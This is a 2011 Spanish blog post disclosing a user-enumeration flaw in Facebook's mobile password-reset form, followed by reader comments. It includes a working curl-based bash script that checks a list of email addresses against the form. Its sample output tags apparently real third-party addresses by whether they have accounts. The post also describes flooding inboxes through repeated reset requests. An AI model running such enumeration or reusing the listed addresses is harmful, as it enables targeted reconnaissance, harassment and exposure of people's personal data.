02 agosto 2011

No hace falta escribir una introducción de lo que es Facebook, creo que ya todos sabemos lo malo que es. El tema de la privacidad siempre ha sido un problema para Facebook, ya que si no existiera ese concepto su negocio sería más fácil.

Existen muchas formas de encontrar a personas que usen Facebook, como usar el propio buscador o simplemente consultando el nombre de una persona en Google. Sin ser usuario registrado, es posible conocer a todos los contactos de un usuario, acceder a la foto del perfil, conocer su nombre y si todo sale bien podemos encontrar detalles sobre su vida.

Lo que les comentaré ahora, corresponde a un fallo de seguridad encontrado en la versión móvil de Facebook, que obviamente, afecta a todos los usuarios. Este bug nos permite saber si existe una cuenta asociada a una dirección de correo o número telefónico.

Antes de decidirme a escribir, conversé con distintas personas sobre el tema para ver si no era sólo yo quien veía una vulnerabilidad donde ellos veian una "característica". Si bien cualquier usuario podría "importar" una lista de correos y buscar coincidencias o simplemente usar el buscador de Facebook ingresando la dirección de un correo, el proceso también puede hacerse de forma automatizada, sin ningún tipo de filtros y pudiendo fastidiar a más de un usuario. Curiosamente, esto no se puede hacer en la versión principal de la red social, ya que tiene un CAPTCHA que no permite al bot realizar su trabajo.


El bug se encuentra en la opción "Recuperar contraseña" de la versión mobile (m.facebook.com), el formulario encargado del proceso de reinicio de contraseña no tiene ningún tipo de validación, carece de captchas y no tiene tokens de seguridad, por lo que es posible realizar peticiones POST desde sitios remotos o usando herramientas como curl o wget. Es posible aprovecharse de este bug y explotar la vulnerabilidad para enumerar usuarios según una lista de direcciones de correo o de números telefónicos. Para este ejemplo utilizaré direcciones de correos tomadas desde distintas páginas de "contactos" al azar.

Prueba de Concepto

Al ingresar a la opción de Recuperar contraseña, nos aparece el siguiente formulario:


Hagamos la prueba de ingresar dos correos electrónicos, uno que sepamos que tiene cuenta en Facebook y otro inventado, que estemos seguros de que no tiene cuenta.
  • El correo de prueba verdadero es "pruebasfacebook@hushmail.com" (previamente creado y existente en Facebook)
  • La dirección de correo electrónica falsa será "asdfgasdfg@asdfg.ko".
El resultado es el siguiente, para ambos intentos:

Respuesta de la aplicación de Facebook cuando la dirección de correo electrónico tiene una cuenta asociada

Respuesta de la aplicación de Facebook cuando la dirección no tiene una cuenta asociada
Podemos repetir esta pregunta las veces que queramos, el sistema jamás nos pedirá que validemos que realmente seamos humanos, pudiendo crear un bot "ninja" que valide las cuentas que queramos.

El bot ninja

El script que usaremos de prueba es:
#/bin/bash
for mail in $(cat $1);
do
s=$(curl -s -d "ep=$mail" http://m.facebook.com/reset.php?refid=0|grep form>/dev/null);
if [ $? -eq 0 ]; then
echo "$mail No tiene cuenta.";
else
echo "$mail Si tiene cuenta.";
fi
done

Para ejecutarlo simplemente debemos pasarle un archivo con la lista de correos (correos_poc.txt como ejemplo) a validar:
$ sh poc.sh correos_poc.txt
mmercado@solteroingenieria.com Si tiene cuenta.
ileon@solteroingenieria.com Si tiene cuenta.
delapuente@solteroingenieria.com No tiene cuenta.
cvalenzuela@solteroingenieria.com Si tiene cuenta.
cloyola@solteroingenieria.com Si tiene cuenta.
fconte@capehornmarine.com No tiene cuenta.
diseno@capehornmarine.com Si tiene cuenta.
info@capehornmarine.com No tiene cuenta.
architect@capehornmarine.com Si tiene cuenta.
fconte@capehornmarine.com No tiene cuenta.
cc-ceics@msc.es No tiene cuenta.
clens@msc.es Si tiene cuenta.
ddocasar@msc.es Si tiene cuenta.
agomez@msc.es No tiene cuenta.
Esto mismo se puede hacer usando números telefónicos, para saber si existe alguna cuenta de Facebook asociada a un número.

Alcance de la vulnerabilidad

Sé que para muchos esto podría resultar trivial, pero pongámonos en el caso de un ataque dirigido a una empresa o a una persona, donde cada detalle y cada dato son valiosos. Si tuviésemos que validar una lista de miles de correos a mano, esto no sería factible.

También podría ser usado para fastidiar a personas o saturar casillas de correo, ya que al usuario al que pertenece el correo le llega un correo por cada petición realizada, como se aprecia en la siguiente captura:


Indiferente el alcance de esta vulnerabilidad, o si se tratase simplemente de un bug (porque sé que para muchos podría parecer inútil), Facebook no está validando peticiones desde sitios externos pudiendo generar peticiones GET/POST a formularios saltandose todo tipo de filtros.

Reporte y respuesta de Facebook

La vulnerabilidad fue reportada como CSRF en el Sitio Web Movil, usando el formulario "whitehat", con detalles e incluyendo una prueba de conceptos, la respuesta fue:
The ability to locate one of your friend's by their email address is core part of interacting with your friends on Facebook. When a user signs up to Facebook, there is an expectation that they may be located in this manner. An email --> user mapping is exposed in several parts of the site (predominantly, in search).
[...]
this style of information disclosure vulnerability may be applicable at a financial or banking website, it is a core part of the experience on social networks that are designed to connect email addresses to users. As another example, someone who desires to obtain this type of information could first load all of the email addresses into a throw-away email address book, and then utilize our contact importer tool. Requiring the registration of an account would not provide any significant additional friction.
While

Es decir, Facebook no asegura que la información de sus clientes usuarios no pueda ser recolectada de forma automática por un bot o por cualquier otro proceso, aún cuando existen los mecanismos de protección como los ya mencionados CAPTCHA o tokens.

----------------------------------------------------

Contribución enviada por Fernando Lagos (@Zerial)

11 comments :

German dijo...

Muy interesante.

Mailsantiagopaz dijo...

¿ Cómo es eso de saturar una cuenta de correos ? Se puede envíar tantos mails que se llene el espacio de almacenamiento ?

Buen post.

Zerial dijo...

Hola Mailsantiagopaz,

Claro, puedes saturar un servicio de correos llenandolo de correos o bien saturar una casilla para que se quede sin espacio de almacenamiento. Tambien puedes hacer que ciertos filtros lo tomen como spam luego de enviar muchos correos a la vez.
Es para fastidiar un poco ....

Freexd15 dijo...

Esta genial la noticia, aunque es algo absurdo por parte de los desarrolladores que dejaran esta vulnerabilidad sin pensar en las consecuencias, tal vez por si solo no represente mucha amenaza pero alguna mente creativa podría realmente hacer daño con esto. 
salu2

Zerial dijo...

Exacto! A mi me llamo mucho la atencion que en la version "full" de facebook.com exista validacion y uso de captchas, pero en la version "movil" no, claramente es un bug... proteges ambas, o ninguna

Zerial dijo...

Exacto Freexd15! Me llama mucho la atencion que se preocuparan de proteger la version "full" de facebook (www.facebook.com) y la version movil (m.facebook.com) la dejen tan desprotegida...

Txalin dijo...

La respuesta de los de facebook es un facepalm inmenso.... No es un bug, es una feature!

Zerial dijo...

Asi es. Es curioso y me llama la atencion que la version full de facebook (www.facebook.com) este protegida, tenga captcha y otro tipo de validaciones y la version mobile (m.facebook.com) no tiene ningun tipo de proteccion, dos interaces para la misma "funcionalidad", una protegida y la otra no... Proteges una o no proteges ninguna, no?

Jorge Guerrero dijo...

Ya cambiaron la versión para mobile, y para navegador normal, creo que hay que realizar unos cambios al Bot Ninja no crees? saludos.

Ludmila@hotmail.com.ar dijo...

Como se Haceee..
 

Jaime dijo...

Me inhabilito tempóralmente facebook por una foto que publique me pueden ayudar a habilitarla de nuevo por favor!!!!!